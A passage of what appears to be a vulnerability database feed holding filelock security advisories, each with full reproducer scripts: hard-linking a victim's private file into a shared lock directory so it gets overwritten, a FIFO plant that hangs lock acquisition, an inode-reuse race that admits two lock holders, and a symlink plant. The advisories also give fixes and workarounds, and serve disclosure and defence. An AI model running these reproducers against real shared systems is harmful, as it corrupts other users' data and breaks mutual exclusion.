)\n    victim_app = subprocess.run(\n        [*as_victim, sys.executable, \"/tmp/repro.d/victim_app.py\"], stdout=subprocess.PIPE, text=True, check=True\n    )\n    victim_token = link_planter.communicate()[0].strip()\n    assert link_planter.returncode == 0\nfinally:\n    open(PROTECTED_HARDLINKS, \"w\").write(protected_hardlinks_before)\n\n# check: the victim's holder record belongs in holders/<token>, never in another file\nprint(\"victim app:\", victim_app.stdout.strip())\nprint(\"attacker replaced holders/\" + victim_token, \"with a hard link to\", VICTIM_FILE)\nafter = open(VICTIM_FILE, \"rb\").read()\ninfo = os.stat(VICTIM_FILE)\nprint(f\"OBSERVED {VICTIM_FILE} (uid {info.st_uid}, mode {info.st_mode & 0o777:o}) now begins:\")\nprint(after[:200].decode(errors=\"replace\"))\nprint(\"BUG\" if after.startswith(b\"filelock-rw/1\\ntoken=\" + victim_token.encode() + b\"\\n\") else \"OK\")\n```\n\n**`repro.d/attacker_creates_lock_tree_first.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o777)\nos.mkdir(f\"{LOCK_TREE}/gen\", 0o777)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777)\n\n# A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted.\nwith open(f\"{LOCK_TREE}/gen/00000000000000000001\", \"w\") as snapshot:\n    snapshot.write(\"filelock-rw/1\\ngeneration=1\\nwriter=\" + \"a\" * 32 + \"\\n\")\n```\n\n**`repro.d/attacker_plants_hard_link.py`**\n\n```python\nimport os\nimport time\n\nHOLDERS = \"/tmp/app.lock.rw/holders\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\n\ndeadline = time.monotonic() + 30\nwhile not (records := os.listdir(HOLDERS)):\n    assert time.monotonic() < deadline, \"the victim never published a holder record\"\n    time.sleep(0.01)\nvictim_token = records[0]\n\n# link(2) needs write permission on holders/ and search permission on /home/victim, nothing on the file itself.\nos.link(VICTIM_FILE, f\"{HOLDERS}/link\")\nos.rename(f\"{HOLDERS}/link\", f\"{HOLDERS}/{victim_token}\")\nprint(victim_token)\n```\n\n**`repro.d/victim_app.py`**\n\n```python\nimport time\n\nfrom filelock import SoftReadWriteLock, Timeout\n\nstarted = time.monotonic()\ntry:\n    with SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2):\n        print(\"got the write lock\")\nexcept Timeout:\n    print(f\"Timeout after {time.monotonic() - started:.1f} s\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user (owns /tmp/app.lock.rw)\n    participant V as lock user (write_lock, timeout=2)\n    participant H as holders/ (owned by the other user, 0777)\n    participant T as /home/victim/accounts.csv (0600)\n    rect rgb(255, 214, 214)\n        Note over A,T: filelock 4.0.0 to 4.2.0\n        A->>H: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer\n        V->>H: publish(), create(holders/token) with O_CREAT O_EXCL, write the record, close\n        A->>H: read the token from the listing\n        A->>T: link(accounts.csv, holders/link), needs fs.protected_hardlinks=0\n        A->>H: rename(holders/link, holders/token)\n        V->>H: poll, _refresh_nonce(), overwrite() opens holders/token by name with O_WRONLY O_NOFOLLOW, no fstat\n        V->>T: write_all at offset 0, the first 135 bytes of accounts.csv are now the holder record\n        V->>H: Timeout after 2.0 s, leave() unlinks holders/token (the link)\n        Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link\n        V->>H: overwrite() opens the FIFO without O_NONBLOCK and sleeps until a reader appears\n        Note over V,H: write_lock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and on_compromise does not run\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and starts each party under its own account with `runuser`. It writes `0` to `/proc/sys/fs/protected_hardlinks` for the run (restored afterwards; this is why it needs the privileged container), creates `/home/victim/accounts.csv` (20 lines of CSV, owner `victim`, mode `0600`) and shows that `attacker` cannot write it. Then `attacker_creates_lock_tree_first.py` creates `/tmp/app.lock.rw`, `gen/` and `holders/` with mode `0777` and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. `victim_app.py` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)`. `attacker_plants_hard_link.py` waits for the lock user's record to appear in `holders/`, hard-links `accounts.csv` beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):\n\n```\nCONTROL  attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied\nvictim app: Timeout after 2.0 s\nattacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv\nOBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins:\nfilelock-rw/1\ntoken=42cc890a86c300dd889f1376d9995abf\npid=131\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=293a8c7462249a2e9bf283a793bb5f45\n000\ncustomer-007,1000\n...\nBUG\n```\n\nThe reproducer prints `BUG` only if the file now begins with `filelock-rw/1\\ntoken=<the token the other user replaced>\\n`, the holder record the lock user's own `OsFiles.overwrite()` wrote through the link. The FIFO variant is one line away (`os.mkfifo(...)` + `chmod 0o666` in place of `os.link`) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with `timeout=2`, and `kill -ABRT` prints the stack quoted above. The same run with `root` taking the lock overwrote a `0600` file in `/etc` that only root can access.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the `/tmp/app.lock.rw` owned by the other account with `RuntimeError` before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints `OK` with `accounts.csv` intact. The independent review's FIFO variant (`mkfifo` + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against `Timeout after 2.0 s` on the PR head.\n\n## Impact\n\nOn a default Linux (`fs.protected_hardlinks=1`) the reachable effect is the FIFO hang. The other user makes a lock user's `acquire_read` / `acquire_write` / `read_lock` / `write_lock` hang whatever `timeout` the caller passed. That user could already keep the lock busy, in which case the lock user gets `Timeout` on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After `stale_threshold` (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and `on_compromise` does not run.\n\nA user who owns the tree can already get a reader granted beside a live writer by writing one forged `gen/<N+1>` snapshot. What this bug adds is the acquire that outlasts its `timeout` and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.\n\nWhere the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for `SoftFileLock`), which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `<path>.rw` before anyone else can, and refuse to use a lock path whose `<path>.rw` belongs to another account.\n- Keep `fs.protected_hardlinks=1` (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 01:39 UTC: fix PR #842 opened\n- 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fj95-fr6c-h845"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112934"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/842"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112935","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-fq56-3cx3-fjxp","CVE-2026-112935"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders","details":"The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:\n    return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet\"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `<its own pid>\\n<host>\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc/<pid>/stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc/<pid>/stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n\n    # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side\n    attacker = subprocess.Popen(\n        [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n        stdout=subprocess.PIPE,\n        text=True,\n        user=\"attacker\",\n        group=\"attacker\",\n        extra_groups=[],\n    )\n    try:\n        assert attacker.stdout.readline() == \"ready\\n\"\n        jobs = [\n            subprocess.Popen(\n                [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n                stdout=subprocess.PIPE,\n                text=True,\n                user=\"victim\",\n                group=\"victim\",\n                extra_groups=[],\n            )\n            for _ in range(VICTIM_JOBS)\n        ]\n        holds = []\n        for number, job in enumerate(jobs):\n            output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n            assert job.returncode == 0  # no Timeout or other exception reached the victim's code\n            for line in output.splitlines():\n                entered, left, is_locked = line.split()\n                assert is_locked == \"True\"  # the job believed it held the lock\n                holds.append((float(entered), float(left), f\"job{number}\"))\n    finally:\n        attacker.kill()\n        attacker.wait()\n    break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n    return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n    return [\n        (first, second)\n        for index, first in enumerate(holds)\n        for second in holds[index + 1 :]\n        if second[0] < first[1]  # sorted by entry: the second entered before the first had left\n    ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL  attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n    print(f\"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\"  stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n    with open(lock_path) as own_marker:\n        host = own_marker.read().splitlines()[1]\n\n# <pid>\\n<host>\\n<start token>\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n    threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n    # plant the stale marker whenever the lock path is free\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    except FileExistsError:\n        time.sleep(0.0002)\n        continue\n    os.write(fd, stale_marker)\n    os.utime(fd, (marker_mtime, marker_mtime))  # a file's owner may give it any modification time\n    os.close(fd)\n\n    # once a contender has read it, unlink it: its inode number is free again for the next holder's marker\n    inotify = libc.inotify_init()\n    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n    os.read(inotify, 4096)\n    os.unlink(lock_path)\n    os.close(inotify)\n\n    # creating anything before the next holder does would take that inode number away from it\n    while not os.path.lexists(lock_path):\n        time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() < stop_at:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects\n        print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant P as app.lock (root-owned 1777 dir, ext4)\n    participant A as process A of the lock user (uid 1000)\n    participant B as process B of the lock user (uid 1000)\n    X->>P: create \"livepid host 1\", utime to 2100 (inode I)\n    A->>P: open, fstat (ino I, mtime 2100), read, close\n    A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)\n    rect rgb(255, 214, 214)\n        X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n        B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n        A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*\n        A->>P: lstat break name: same, unlink B's live marker\n        A->>P: next poll 50 ms later: O_EXCL create, A enters beside B\n        Note over A,B: B's release finds another inode, leaves it, no error on either side\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A's `close(4</tmp/app.lock>(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...)` and A's own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112935"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112936","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-j8f7-rjxc-mr56","CVE-2026-112936"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.9","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: ReadWriteLock follows a symlink at the lock path into SQLite","details":"### Summary\n\n`ReadWriteLock` and `AsyncReadWriteLock` resolve the lock path with `pathlib.Path.resolve()` and pass it to `sqlite3.connect()` without refusing a symlink. A local user who can create names in the lock's directory, such as `/tmp` or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.\n\n### Details\n\n`ReadWriteLock.__init__` stores `pathlib.Path(lock_file).resolve()`, which follows a final symlink, and every connection opens that path through `sqlite3.connect()` with no `O_NOFOLLOW` or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so `fs.protected_symlinks` and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: `FileLock` opens with `O_NOFOLLOW`, and `SoftReadWriteLock` coordinates through `<path>.rw/`.\n\n### Proof of concept\n\nOn Linux, with the victim and attacker as different users and `/shared` mode 1777 with `fs.protected_symlinks=1`:\n\n1. The attacker runs `ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db`.\n2. The victim constructs `ReadWriteLock(\"/shared/app.rwlock.db\")`. A plain `os.open(..., O_NOFOLLOW)` on the same path fails, but the lock creates `/home/victim/private/pwned.flag`, owned by the victim, inside a directory the attacker cannot 